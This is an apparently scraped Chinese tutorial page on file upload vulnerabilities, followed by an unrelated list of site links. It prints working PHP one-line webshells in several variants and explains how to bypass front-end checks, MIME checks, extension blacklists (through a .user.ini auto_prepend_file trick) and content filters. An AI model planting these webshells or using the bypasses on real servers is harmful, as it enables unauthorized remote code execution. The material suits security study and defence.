当前位置: 首页 > news >正文

承德建设工程信息网站外贸网站wordpress加ssl

承德建设工程信息网站,外贸网站wordpress加ssl,对网站做数据分析,南京建设网页速成班什么是文件上传漏洞? Web应用允许用户上传文件,但是没有对上传的文件进行严格的过滤和检测,导致网站执行了文件中包含的恶意代码。 漏洞的基本利用方式是: 成功上传包含恶意代码的文件,并在服务端成功执行该文件。 …

什么是文件上传漏洞?

Web应用允许用户上传文件,但是没有对上传的文件进行严格的过滤和检测,导致网站执行了文件中包含的恶意代码。

漏洞的基本利用方式是:
成功上传包含恶意代码的文件,并在服务端成功执行该文件。

可见实现该漏洞的两个要点在于上传执行

一句话木马

指仅由一行代码构成的木马文件。通过在服务端植入这行代码,就能获取到执行服务端命令的权限。
下面是最基本的一句话木马:

//shell.php
<?php @eval($_POST[1]);?>
@指即使后面发生错误也不报错。
eval()函数将函数中的内容当作php代码执行。
$_POST[1]表示通过POST向网页传递名为1的参数。

当我们成功上传木马程序后,只要能找到它在目标服务器的对应位置,就能打开该程序并执行系统命令。

一句话木马的其他形式:

<?=@eval($_POST['cmd']);?>     //短标签,适合过滤php时使用
<% @eval($_POST['cmd']);%>     //asp风格
<script language='php'>@eval($_POST['cmd']);</script>   //<script>风格,适合过滤<?时使用

常见的文件上传漏洞

前端校验

有些网站将对上传文件的检测及过滤功能写在了前端,导致攻击者能够轻松绕过检测。

例如下面这个界面,就是将检测功能写在了前端。
在这里插入图片描述我们注意到该页面只允许上传后缀为png的文件。对于这种情况,我们常用的绕过方法有两种。

第一种: 修改前端代码。
F12–查看器,将相应的位置修改为php,就可以上传php后缀的文件。
在这里插入图片描述
第二种: 将我们的.php文件修改为.png文件,然后上传并抓包,在请求体中将后缀名修改回.php,同样绕过了前端检测。

MIME验证

对文件的媒体类型进行检测,媒体类型信息在请求头中位于文件的Content-Type位置,如果不符合上传要求,就会被拦截。

对于这种检测,我们的绕过方式是将Content-Type修改为允许上传的类型。
在这里插入图片描述常见的图片格式媒体类型:

image/jpeg:JPEG格式图片;
image/gif:GIF格式图片;
image/png:PNG格式图片;

后端过滤后缀名(.user.ini)

在服务端的后端定义了一个后缀名黑名单,并会检测用户上传文件的后缀名是否位于该黑名单中。如果在,则拒绝上传。

对于这种过滤,我们只能将木马程序的后缀名修改为合法的后缀名才能成功上传。
但是这种情况下,服务端就不会将我们的木马程序解析为PHP程序,也就不能正常执行我们的木马。

为了让服务器能够以正常执行我们的程序,可以上传 .user.ini 文件。

//.user.ini
auto_prepend_file=shell.png

这个文件的作用是:在访问主页文件时,会自动包含shell.png文件,将其文件内容当做php代码执行。
如果我们上传的文件在/upload目录下,那么upload就是shell.png的主页文件。我们访问/upload时,会自动包含并以php代码形式执行shell.png中的恶意代码。

文件内容过滤

即服务器后端对文件的内容进行了检测,如果其中包含不合规的内容,就会拒绝文件上传。

常见过滤及绕过

过滤php 使用短标签 <?= 绕过
过滤[] 使用{}绕过
过滤[]{} 不能使用一句话木马,直接上传RCE代码
过滤() 使用反引号执行RCE
过滤()和反引号 不能正常上传恶意代码,考虑使用日志注入
http://www.yayakq.cn/news/510933/

相关文章:

  • 群推广网站国家重点项目建设库网站
  • 建设个网站通用cms网站
  • 静态网站和伪静态seo招聘类网站该怎么做
  • 网站收录后然后怎么做模板网站建设合同
  • 在线做c 题的网站代运营服务公司
  • 厦门建站公司哪家好wordpress账号注册页面
  • 建设工程有限公司企业网站淄博怎么做网站
  • 上海设计师网站有哪些wordpress收录p
  • 网站开发什么比较有创意做php网站用什么软件开发
  • 金华网站建设哪家好固始网站建设公司
  • 电子商务类网站建设网站的前台和后台
  • 网站图片一般分辨率做多大上海网站建设找思创
  • 网站建设岗位说明书wordpress skype
  • 合肥专业做网站公司有哪些东莞网络优化
  • 电子商务网站开发的基本要求高清图片素材网站免费
  • 中文网站建设开发广西建设厅网证件查询
  • 长春火车站到长春机场大巴时刻表个人微信管理系统
  • 建设商务公司网站完整网站设计
  • 创意聊城做网站的公司网站优化哪里可以做
  • 湖南网站建站系统平台营销型网站建设域名
  • 做网站logo用啥软件福州公司网站
  • 智能优化网站石家庄网推公司
  • 陕西建工第三建设集团网站网站建设高端培训
  • 做微信文章的网站登录网站模板
  • 怎么样做购物网站百度关键词指数工具
  • 苏州企业网站建设方案盐山县招聘网站建设
  • 饶平网站建设公司自己建设博客网站
  • iis默认网站不能启动做网站运维的待遇
  • 网站上的图片一般多大学生个人网页制作html
  • 淄博云天网站建设推广网站建设税收分类编码